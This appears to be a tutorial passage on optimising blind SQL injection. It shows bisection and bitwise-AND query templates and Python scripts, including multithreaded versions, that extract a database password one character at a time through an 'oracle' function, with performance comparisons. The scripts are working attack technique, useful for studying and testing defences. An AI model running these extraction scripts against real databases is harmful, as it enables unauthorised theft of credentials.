Optimizing

The Need for Speed

Baseline Performance (Linear Search)

Metric	Value
Requests	4,128
Time	1,005.67 seconds (~17 min)

We can drastically improve this with better algorithms.

---

Algorithm 1: Bisection (Binary Search)

How It Works

Repeatedly split the search area in half until one option remains.

Search area: ASCII values 0-127

Example: Finding '-' (ASCII 45)

Target = '-' = 45

LBound = 0, UBound = 127
→ Midpoint = (0+127)//2 = 63
→ Is target between 0 and 63? YES
→ UBound = 63 - 1 = 62

LBound = 0, UBound = 62
→ Midpoint = (0+62)//2 = 31
→ Is target between 0 and 31? NO
→ LBound = 31 + 1 = 32

LBound = 32, UBound = 62
→ Midpoint = (32+62)//2 = 47
→ Is target between 32 and 47? YES
→ UBound = 47 - 1 = 46

LBound = 32, UBound = 46
→ Midpoint = (32+46)//2 = 39
→ Is target between 32 and 39? NO
→ LBound = 39 + 1 = 40

LBound = 40, UBound = 46
→ Midpoint = (40+46)//2 = 43
→ Is target between 40 and 43? NO
→ LBound = 43 + 1 = 44

LBound = 44, UBound = 46
→ Midpoint = (44+46)//2 = 45
→ Is target between 44 and 45? YES
→ UBound = 45 - 1 = 44

LBound = 44, UBound = 44
→ Midpoint = (44+44)//2 = 44
→ Is target between 44 and 44? NO
→ LBound = 44 + 1 = 45

✅ LBound = 45 = Target!

Result: 7 requests instead of 45!

SQL Query

ASCII(SUBSTRING(password,1,1)) BETWEEN <LBound> AND <Midpoint>

Python Implementation

# Dump password using Bisection
print("[*] Password = ", end='')

for i in range(1, length + 1):
    low = 0
    high = 127
    
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"ASCII(SUBSTRING(password,{i},1)) BETWEEN {low} AND {mid}"):
            high = mid - 1
        else:
            low = mid + 1
    
    print(chr(low), end='')
    sys.stdout.flush()

print()

Performance

Metric	Value
Requests	256
Time	61.56 seconds
Improvement	16x faster!

---

Algorithm 2: SQL-Anding (Bitwise)

How It Works

ASCII values 0-127 = binary 00000000 to 01111111

Since MSB is always 0, we only need to dump 7 bits.

Bitwise AND Logic

number & bit_value > 0  →  bit is 1
number & bit_value = 0  →  bit is 0

Example: Finding '9' (ASCII 57)

Target = '9' = 57 = 00111001 (binary)

Is (target & 1) > 0?  → YES → Bit 0 = 1  → ......1
Is (target & 2) > 0?  → NO  → Bit 1 = 0  → .....01
Is (target & 4) > 0?  → NO  → Bit 2 = 0  → ....001
Is (target & 8) > 0?  → YES → Bit 3 = 1  → ...1001
Is (target & 16) > 0? → YES → Bit 4 = 1  → ..11001
Is (target & 32) > 0? → YES → Bit 5 = 1  → .111001
Is (target & 64) > 0? → NO  → Bit 6 = 0  → 0111001

Result: 0111001 = 57 = '9' ✅

SQL Query

(ASCII(SUBSTRING(password,N,1)) & X) > 0

Where X = 1, 2, 4, 8, 16, 32, 64 (powers of 2)

Python Implementation

# Dump password using SQL-Anding
print("[*] Password = ", end='')

for i in range(1, length + 1):
    c = 0
    for p in range(7):  # 7 bits needed for ASCII
        if oracle(f"ASCII(SUBSTRING(password,{i},1))&{2**p}>0"):
            c |= 2**p  # Set the bit
    
    print(chr(c), end='')
    sys.stdout.flush()

print()

Performance

Metric	Value
Requests	256
Time	60.28 seconds
Note	Slightly faster due to simpler query

---

Performance Comparison

Algorithm	Requests	Time	Speed Improvement
Linear Search	4,128	1,005.67s	Baseline
Bisection	256	61.56s	16x faster
SQL-Anding	256	60.28s	16.7x faster

---

Further Optimization: Multithreading

Bisection Threading

• 7 requests per character are dependent (sequential)

• Individual characters are independent (parallel)

import concurrent.futures

def dump_char_bisection(position):
    low, high = 0, 127
    while low <= high:
        mid = (low + high) // 2
        if oracle(f"ASCII(SUBSTRING(password,{position},1)) BETWEEN {low} AND {mid}"):
            high = mid - 1
        else:
            low = mid + 1
    return (position, chr(low))

# Parallel extraction
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
    futures = [executor.submit(dump_char_bisection, i) for i in range(1, length + 1)]
    results = sorted([f.result() for f in futures])
    password = ''.join([r[1] for r in results])

print(f"[*] Password = {password}")

SQL-Anding Threading

• 7 requests per character are independent (parallel)

• Individual characters are independent (parallel)

• All requests can run in parallel!

import concurrent.futures

def check_bit(position, bit):
    if oracle(f"ASCII(SUBSTRING(password,{position},1))&{2**bit}>0"):
        return (position, bit, True)
    return (position, bit, False)

# Generate all tasks
tasks = [(i, b) for i in range(1, length + 1) for b in range(7)]

# Run all in parallel
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    futures = [executor.submit(check_bit, pos, bit) for pos, bit in tasks]
    results = [f.result() for f in futures]

# Reconstruct password
chars = {i: 0 for i in range(1, length + 1)}
for pos, bit, is_set in results:
    if is_set:
        chars[pos] |= 2**bit

password = ''.join([chr(chars[i]) for i in range(1, length + 1)])
print(f"[*] Password = {password}")

---

Algorithm Selection Guide

Scenario	Recommended Algorithm
Single-threaded	SQL-Anding (slightly faster)
Multi-threaded	SQL-Anding (fully parallelizable)
Limited requests	Both equal (same request count)
Simple implementation	Bisection (easier to understand)

---

Quick Reference

Bisection Query

ASCII(SUBSTRING(column,position,1)) BETWEEN low AND mid

SQL-Anding Query

(ASCII(SUBSTRING(column,position,1)) & power_of_2) > 0

Complexity

Algorithm	Requests per Character
Linear	~64 average (0-127)
Bisection	7 (log₂ 128)
SQL-Anding	7 (7 bits)

---

References

• Advanced Blind SQL Injection Techniques

• Binary Search Algorithm

• Bitwise Operations